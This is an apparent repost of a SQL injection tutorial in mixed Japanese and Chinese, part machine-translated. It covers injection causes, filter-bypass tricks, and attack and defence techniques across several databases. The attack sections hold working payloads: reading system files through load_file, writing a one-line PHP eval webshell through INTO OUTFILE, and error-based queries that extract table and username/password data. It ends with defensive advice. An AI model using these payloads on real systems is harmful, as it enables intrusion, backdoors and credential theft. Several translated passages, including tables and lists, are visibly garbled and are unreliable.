ホームページ  >  記事  >  データベース  >  SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションを理解するためのガイド (詳細)

WBOY
WBOY転載
2022-01-04 18:44:5710930ブラウズ

この記事では、SQL インジェクションについての知識を提供します。SQL インジェクションとは、サーバーがクライアントから送信されたデータを厳密に検証せず、サーバー側の SQL ステートメントが悪意を持って変更され、正常に実行される動作です。誰にとっても役立ちます。

SQL インジェクションを理解するためのガイド (詳細)

#SQL とは何ですか?

構造化照会言語 (SQL) は、データベースの標準データ クエリに使用される特別なプログラミング言語です。 1986 年 10 月、米国規格協会は SQL を標準化し、リレーショナル データベース システムの標準言語として使用しました。 1987年に国際標準化機構の支援を受けて国際標準となった。

SQL インジェクションとは

SQL インジェクションとは、サーバーがクライアントから送信されたデータを厳密に検証せず、その結果サーバーの SQL ステートメントが悪意を持って変更され、正常に実行される動作です


SQL インジェクションを理解するためのガイド (詳細)

脆弱性の原則

SQL インジェクション攻撃の動作は、ユーザーが制御可能なパラメータに SQL 構文を挿入し、元の SQL 構造を破壊し、プログラム作成時に予期しない結果をもたらすものとして説明できます。結果として生じる攻撃動作。その原因は、以下の 2 つの理由が重なっていると考えられます。

    プログラマがプログラムやデータベースと対話するとき、文字列の連結を使用して SQL ステートメントを構築します。
  • ユーザー制御可能なパラメータのフィルタリングが不十分です。パラメータの内容が結合されます。
  • #脆弱性の原因

ユーザーが入力を制御できる
  • 入力チェックが不十分なため、SQL文が不正に実行されるユーザーによって送信された不正なデータは、ステートメントの一部として実行されます。
  • SQL インジェクションがある理由

コードは、 SQL ステートメント
  • フレームワークのセキュリティ構成が有効になっていません。例: PHP の magic_quotes_gpc
  • #フレームワークのセキュリティ クエリ メソッドが使用されていません
  • #テスト インターフェイスが削除されていません
  • ファイアウォールは有効になっていません
  • 他のセキュリティ保護機器は使用されていません
  • ##注入ポイントの考えられる場所
  • #SQL の原則によるインジェクションの脆弱性では、ユーザーが「制御可能なパラメーター」に SQL を挿入します。言い換えれば、Web アプリケーションがユーザー入力を取得する場所では、それがデータベース クエリに取り込まれる限り、SQL インジェクションの可能性があります。これらの場所には通常、次のような場所が含まれます。
  • ##GET データ
  • #POST データ

#Cookie データ

HTTP ヘッダー (HTTP ヘッダーのその他のフィールド)

    #脆弱性の危険
  • データベース情報の漏洩、機密データの取得、改ざん:データベースに保存されているユーザーの個人情報(アカウント、パスワード)の漏洩
  • ログイン認証のバイパス: Web サイトのバックエンドなどにログインするためのユニバーサル パスワード。
  • ファイル システム操作: ディレクトリの一覧表示、ファイルの読み取り、書き込みなど。
Web ページの改ざん:データベース、ネットワーク ホース リンクの埋め込み、馬乗り攻撃の実行

レジストリ操作: レジストリの読み取り、書き込み、削除など。
  1. システム コマンドの実行: コマンドをリモートで実行
  2. サーバーはリモートで制御され、トロイの木馬が仕掛けられます。ハッカーはオペレーティング システムを変更または制御することができます
  3. 提出方法
  4. 提出方法には、取得、投稿、Cookie、リクエストなどがあります。
  5. その中で: リクエストのサポートが優れており、get メソッド、post メソッド、cookie メソッドが使用できます 送信が可能です
  6. インジェクションポイントを決定します
  7. でデータを送信しようとします疑わしいインジェクションポイントまたはパラメータの背後にあるパラメータを調べて、SQL インジェクションの脆弱性があるかどうかを判断します。


テストデータ

テストの判定

攻撃アイデア

'データベース エラー メッセージが表示されるかどうか、エコーされたページが異なるかどうか (文字型か数値型か)エラー挿入Booleanブラインド インジェクション ページの戻り時間を判断するジャッジメント エスケープ##

注: Web サイトをテストするときに 404 が表示されるか、ページがジャンプする場合は、Web サイトが保護されていることを意味します

それが文字であるか数字であるかを判断します

図に示すように以下では、一般的に、id などのパラメータの後には数値型 (文字型の場合もあります) が続き、その他のパラメータの後には文字型が続きます。
SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクション バイパス

    ##大文字小文字のバイパス
  1. 二重書き込みキーワードのバイパス
  2. 特別なエンコードのバイパス
一部の文字列が実際に制限されている場合は、エンコードのバイパスを試すことができます。

URLEncode エンコード、ASCII、HEX、Unicode エンコードなどはバイパスされます:

    または 1=1 または 1=1、
  • Test は CHAR(101) にすることもできます。 CHAR (97) CHAR(115) CHAR(116)
    スペース フィルター バイパス
  1. フィルター関数バイパスsleep() ——> benchmark()
substr()、substring()、mid() は相互に置き換えることができます
  • user() ——> ; @@ user(), datadir ——> @@datadir
  • ord() ——> ascii(): これら 2 つの関数は、英語の処理時には同じ効果がありますが、処理時には異なる効果があります。 Chinese
  • ascii ——> hex(), bin(): 置換後、対応するベースを使用して string
  • group_concat() ——> concat_ws()
  • インライン コメントは
  • /*!...*/
  1. MySQL では、/**/ は複数行のコメントです これは SQL 標準ですが MySQL では説明機能が拡張されています 先頭の /* の後に感嘆符が付いている場合 /*!50001sleep(3)*/
  2. 、その後、このコメント内のステートメントが実行されます。

/*!50001 select * from test */;50001 ここで、このステートメントはデータベースのバージョンが 5.00.01 以降の場合にのみ実行されることを意味します。この方法を使用してバイパスします。

Web サイトのパスを取得するパスを取得する一般的な方法:

エラー表示

#レガシー ファイルSQL インジェクションを理解するためのガイド (詳細)

  1. Baidu を使用せず、Google を使用して検索してくださいinurl:phpinfo.php

脆弱性エラーのレポート、プラットフォーム構成ファイル、ブラストなど。
SQL インジェクションの読み取りおよび書き込みファイルSQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションの脆弱性を使用して読み取りおよび書き込みを行うことができます。ファイル。

使用の前提条件:

1. データベースはファイルの読み取りと書き込みをサポートします
これには変数 secure_file_priv

が含まれ、そのパラメーターはファイルのインポートおよびエクスポート操作は、mysql データベースの上位バージョンでは制限されています。このパラメータを設定するには、my.ini 設定ファイルを変更し、mysql サービスを再起動する必要があります [Phpstudy のデフォルトは NULL であり、ファイルの読み書きは許可されません]


#パラメータSQL インジェクションを理解するためのガイド (詳細)

意味
-1 または 1 前または次のページをエコーできるかどうか (エコーがあるかどうかを判断するため) ジョイント インジェクション
または ##"
and 1=1 または and 1=2エコーされたページが異なるかどうか (ページがブール型ステータスを持つかどうかを決定) #and sleep(5)
遅延インジェクション \

##secure_file_priv=NULLmysqld を制限してインポートとエクスポートを許可しないOperationssecure_file_priv='c:/a/' は、mysqld のインポートおよびエクスポート操作を固定ディレクトリに制限し、サブディレクトリは有効ですsecure_file_priv=mysqld のインポートおよびエクスポート操作に制限はありません

修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションを理解するためのガイド (詳細)

2. 当前用户具有文件权限

  1. 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+

SQL インジェクションを理解するためのガイド (詳細)

  1. 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

SQL インジェクションを理解するためのガイド (詳細)

方法2:

select File_priv from mysql.user where user="root" and host="localhost";

SQL インジェクションを理解するためのガイド (詳細)

3. 知道文件绝对路径

  1. 读取文件,使用 load_file

下面两种方法一样

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

SQL インジェクションを理解するためのガイド (詳細)

  1. 写入文件,使用 into_outfile

这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住

写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址

# 1. 直接写
?id=-1' union select 1,'<?php  phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションを理解するためのガイド (詳細)

写一句话木马

# 1. 直接写
?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+

# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

查询方式及报错盲注⭐

在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。

更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》

查询方式

重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明

  1. select:查询数据在网站应用中进行数据显示查询操作

举例:select * from news where id=$id

  1. insert:插入数据在网站应用中进行用户注册添加等操作

举例:insert into news(id,url,text) values(2,'x','$t')

  1. delete:删除数据后台管理里面删除文章删除用户等操作

举例:delete from news where id=$id

  1. update更新数据会员或后台中心数据同步或缓存等操作

举例:update user set pwd='$p' where id=2 and username='admin'

  1. order by排序数据一般结合表名或列名进行数据排序操作

举例:select * from news order by $id
举例:select id,name,price from news order by $order

报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:

  1. 基于布尔的SQL盲注-逻辑判断(不回显)
    regexp,like,ascii,left,ord,mid

  2. 基于时间的SQ盲注-延时判断(不回显)
    if,sleep

  3. 基于报错的SQL盲注-(强制)报错回显
    floor,updatexml,extractvalue

报错模板:https://www.jianshu.com/p/bc35f8dd4f7c

报错注入函数

  1. floor()
  • floor(x),返回小于或等于x的最大整数。
  • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
  • x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
  • 报错原因:主键重复,必需:count()、rand()、group by
  • 分析链接:https://xz.aliyun.com/t/253#toc-2
  1. exp()
  • exp(x)返回e^x。
  • 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
  • payload:id =1 and EXP(~(SELECT * from(select user())a))
  1. updatexml()

利用的就是mysql函数参数格式错误进行报错注入。

updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);

  • 函数语法解析:
  • XML_document:是字符串String格式,为XML文档对象名称
  • Xpath_string:Xpath格式的字符串
  • new_value:string格式,替换查找到的符合条件的数据

适用版本是:5.1.5+

利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错

  1. extractvalue()

利用的原理是xpath格式不符报错注入。

函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+

1. 获取当前是数据库名称及使用mysql数据库的版本信息:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 获取当前注入点的用户权限信息及操作系统版本信息:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 获取当前位置所用数据库的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

二次注入

SQL インジェクションを理解するためのガイド (詳細)

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

原理

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加\进行转义,但是\并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

实施步骤

  1. 插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容

  1. 引用恶意数据

SQL インジェクションを理解するためのガイド (詳細)

举例

这里使用的是sql-libs靶场的第24关

  1. 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示

SQL インジェクションを理解するためのガイド (詳細)

  1. 注册一个新用户

SQL インジェクションを理解するためのガイド (詳細)

  1. 注册了一个新用户之后的数据库如下
    SQL インジェクションを理解するためのガイド (詳細)

  2. 新用户登录,并重置密码

  3. 查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变

SQL インジェクションを理解するためのガイド (詳細)

  1. レベル 24 のソース コードでは、以下に示すように理由がわかります

SQL インジェクションを理解するためのガイド (詳細)

##スタック クエリ

スタック インジェクション(スタックインジェクション)とは、名詞の意味からもわかるように、SQL文を(複数)まとめて実行することです。これは実際のアプリケーションでも同様で、mysql では、主にコマンド ラインで、ステートメントの終わりを示すために各ステートメントの最後に

; が追加されることがわかっています。このように、複数の文を併用できないか考えてみました。そこで、スタック インジェクション (スタック クエリとも呼ばれます) が登場しました。
SQL インジェクションを理解するためのガイド (詳細)

注:

スタック インジェクションの使用条件は非常に限られており、API やデータベース エンジン、または権限によって制限される場合があります。複数の SQL ステートメントの実行をサポートするためにデータベース関数が呼び出される場合にのみ使用できます。mysqli_multi_query() 関数は複数の SQL ステートメントの同時実行をサポートします。ただし、実際の状況では、PHP などで SQL が実行されるのを防ぐため、インジェクションの仕組みとしては、データベースを呼び出す関数がよく使われますが、mysqli_query()関数は1文しか実行できず、セミコロン以降の内容は実行されないため、スタックインジェクションの利用条件は非常に厳しいと言えます。
##DNSlog

DNSlog は、DNS サーバーに保存されているドメイン名情報であり、ユーザーの Web サイトへのアクセス情報が記録されます。ドメイン名 www.baidu.com など、ログ ファイルと同様です。その他の操作については、侵入テストにおける DNSlog の実践的なスキルの簡単な分析

ブレイン マップ

SQL インジェクションを理解するためのガイド (詳細)一般的なデータベースとインジェクション関連⭐

##を参照してください。 # MySQL、SQLServer、Oracle、PostgreSQL、Access の 5 つのデータベースは、現在市場で最も人気のあるデータベースです。侵入テストを実施する際、最もよく遭遇するのはこれらのタイプのデータベースです。この記事では、インジェクション中のこれらのタイプのデータベース間の類似点と相違点に関する統計を作成します。

コメント文字、データベース ポート

##MySQL単一行コメント# ###### - ############ - ############ - #########なし#### なし##データベース ポート

SQLServer
Oracle PostgreSQL アクセス
##複数行のコメント /**/ /**/ /**&*/
3306 14331521 5432 はファイル データベースです。したがって、ポート番号は必要ありません

数据库文件后缀名

  • MySQL:数据文件:.myd 、索引文件:.MYI 、表定义文件:.frm
  • SQLServer:.mdf
  • Oracle:.dbf.ora
  • PostgreSQL:无后缀名
  • Access:Office 2007之前是 .mdb ,Office 2007及之后是.accdb

特有的数据库

  • MySQL: information_schema(Mysql5.0以上的版本)
  • SQLServer:sysobjects
  • Oracle:dual
  • PostgreSQL:
  • Access:msysobjects

查看当前用户或权限

  1. MySQL
查询当前用户
select user();
select substring_index(user(), '@', 1) ;
查询当前用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;

SQL インジェクションを理解するためのガイド (詳細)
SQL インジェクションを理解するためのガイド (詳細)

  1. SQLServer
判断是否是SA权限select is_srvrolemember('sysadmin')     判断是否是db_owner权限  
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')

SQL インジェクションを理解するためのガイド (詳細)

  1. Oracle
查看当前用户select * from user_users;查看当前用户拥有的角色     
select * from session_roles;查看当前用户拥有的权限select * from session_privs;

SQL インジェクションを理解するためのガイド (詳細)

  1. PostgreSQL
select user                       #查看用户select current_user               #查看当前用户

SQL インジェクションを理解するためのガイド (詳細)
SQL インジェクションを理解するためのガイド (詳細)

  1. ACCESS

Access数据库是文件类型数据库,没有用户和权限的概念

ASCII转换函数

  1. MySQL:select char(97)

SQL インジェクションを理解するためのガイド (詳細)

  1. SQLServer:select char(97)
    SQL インジェクションを理解するためのガイド (詳細)

  2. Oracle:select chr(97) from dual

SQL インジェクションを理解するためのガイド (詳細)

  1. **PostgreSQL:select chr(97) **

SQL インジェクションを理解するためのガイド (詳細)

  1. **Access:select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同数据库注入结果的区别⭐

  1. mssql

SQL インジェクションを理解するためのガイド (詳細)

  1. MySQL

SQL インジェクションを理解するためのガイド (詳細)

  1. oracle

SQL インジェクションを理解するためのガイド (詳細)

Sql注入中连接字符串常用函数

在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat()group_concat()concat_ws()
本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。

concat()函数

不使用字符串连接函数时:
SQL インジェクションを理解するためのガイド (詳細)

但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()

concat()语法及使用特点:CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
示例如下:
SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションを理解するためのガイド (詳細)

concat_ws 函数

使用方法:CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例,演示一下
SQL インジェクションを理解するためのガイド (詳細)

group_concat 函数

基本查询

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
+------+------+
6 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
+------+----------------------------------+
3 rows in set (0.00 sec)

以id分组,把去冗余的name字段的值打印在一行,
逗号分隔

mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)

以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)

补充知识—数据库结构

数据库结构:数据库 —> 表名 —> 列名 —> 数据
演示如下:

  1. 查看MySQL数据库中,包含了哪些数据库

show database;
SQL インジェクションを理解するためのガイド (詳細)

  1. 查看数据库中有哪些表
use dvwa;	# 选中dvwa数据库
show tables;	# 查看dvwa数据库中有哪些表

SQL インジェクションを理解するためのガイド (詳細)

  1. 查询表中的内容
    1. 查看user表中的全部内容:select * from user;
    2. 以列的形式查看user表中的全部内容:select *from user\G;
    3. 查看表中的部分内容:select user,password from user;

SQL インジェクションを理解するためのガイド (詳細)

SQL インジェクションを理解するためのガイド (詳細)

补充知识—关于SQL的一些常识

注释

减减空格 "-- " "–%20" “–+”
# “#” "%23"




内联注释 /* 被注释掉的内容 */









数据库中,符号.代表下一级,如dvwa.user表示dvwa数据库下的user表

常用语句和函数

推荐阅读:SQL注入必备知识初级
1:mysql -uroot -proot登录数据库
2:show databases; 查看有哪些数据库
3:use informatin_schema; 使用某数据库
4:limit的用法

  • limit的使用格式是limit m,n
  • 其中m是指记录开始的位置,从0开始表示第一条记录
  • n是指提取n条记录

5:select 函数名; 查询某内容
函数名有以下:
SQL インジェクションを理解するためのガイド (詳細)

防御措施

防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:

代码层

  1. 内置过滤系统(本质是黑名单,很常见但是不推荐)
  2. 采用参数化查询&预编译(推荐)

强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
SQL インジェクションを理解するためのガイド (詳細)

  1. 采用框架的安全写法

例如Mybatis中使用#可以防止SQL注入,$并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等

Thinkphp框架的安全写法

安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制       

//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;

数据库加固

主要包括:

  1. 最小权限原则,禁止将任何高权限帐户(例如sa、dba、root等)用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。
  2. 禁用敏感函数拒绝用户访问敏感的系统存储过程,如xp_dirtree、xp_cmdshell、into_outfile 等
  3. 网站与数据层的编码统一,建议全部使用UTF-8编码,避免因上下层编码不一致导致一些过滤模型被绕过,比如宽字节注入等。
  4. 限制用户所能够访问的数据库表

其他

例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。

相关推荐:《mysql教程

以上がSQL インジェクションを理解するためのガイド (詳細)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。